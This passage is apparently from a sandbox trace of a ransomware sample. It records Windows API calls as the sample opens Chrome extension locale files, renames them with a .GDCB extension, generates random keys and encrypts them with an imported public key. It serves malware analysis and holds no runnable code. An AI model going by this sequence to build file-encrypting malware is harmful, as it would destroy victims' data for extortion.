Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.707] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.710] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.714] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0253.723] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.735] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0253.742] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0253.746] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.750] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.750] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.750] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.753] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.756] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.756] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.757] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782148) returned 1 [0253.760] CryptGetKeyParam (in: hKey=0x6782148, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.760] CryptEncrypt (in: hKey=0x6782148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.761] GetLastError () returned 0x0 [0253.761] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.761] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.762] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782748) returned 1 [0253.762] CryptGetKeyParam (in: hKey=0x6782748, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.762] CryptEncrypt (in: hKey=0x6782748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.763] GetLastError () returned 0x0 [0253.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.763] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.764] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.767] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.769] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xea, lpOverlapped=0x0) returned 1 [0253.779] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.787] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0253.792] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.798] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.798] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.798] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0253.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.803] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.803] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.803] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.803] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.805] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782308) returned 1 [0253.805] CryptGetKeyParam (in: hKey=0x6782308, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.805] CryptEncrypt (in: hKey=0x6782308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.806] GetLastError () returned 0x0 [0253.806] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.806] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.807] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782648) returned 1 [0253.808] CryptGetKeyParam (in: hKey=0x6782648, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.808] CryptEncrypt (in: hKey=0x6782648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.808] GetLastError () returned 0x0 [0253.808] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.808] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.809] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.813] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.815] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x112, lpOverlapped=0x0) returned 1 [0253.825] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.832] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0253.838] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.843] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.843] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.843] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.848] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.848] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.848] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.848] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.851] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67826c8) returned 1 [0253.851] CryptGetKeyParam (in: hKey=0x67826c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.851] CryptEncrypt (in: hKey=0x67826c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.851] GetLastError () returned 0x0 [0253.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.851] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0253.853] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67822c8) returned 1 [0253.853] CryptGetKeyParam (in: hKey=0x67822c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.853] CryptEncrypt (in: hKey=0x67822c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.853] GetLastError () returned 0x0 [0253.853] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.853] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.854] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.857] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.860] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd6, lpOverlapped=0x0) returned 1 [0253.869] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.886] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0253.892] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0253.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.900] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.900] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0253.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.905] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.906] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.906] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0253.906] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0253.909] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782788) returned 1 [0253.909] CryptGetKeyParam (in: hKey=0x6782788, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.909] CryptEncrypt (in: hKey=0x6782788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.909] GetLastError () returned 0x0 [0253.909] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0253.909] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.911] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782548) returned 1 [0253.911] CryptGetKeyParam (in: hKey=0x6782548, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.911] CryptEncrypt (in: hKey=0x6782548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.911] GetLastError () returned 0x0 [0253.911] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0253.913] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0253.916] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0253.918] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd7, lpOverlapped=0x0) returned 1 [0253.927] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0253.935] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.gdcb")) returned 1 [0253.942] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.946] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.948] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.949] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0253.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.949] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0253.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0253.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0253.955] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0253.955] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.956] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.959] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67823c8) returned 1 [0253.959] CryptGetKeyParam (in: hKey=0x67823c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.959] CryptEncrypt (in: hKey=0x67823c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0253.959] GetLastError () returned 0x0 [0253.959] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.959] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0253.962] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782448) returned 1 [0253.962] CryptGetKeyParam (in: hKey=0x6782448, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0253.962] CryptEncrypt (in: hKey=0x6782448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0253.963] GetLastError () returned 0x0 [0253.963] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0253.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 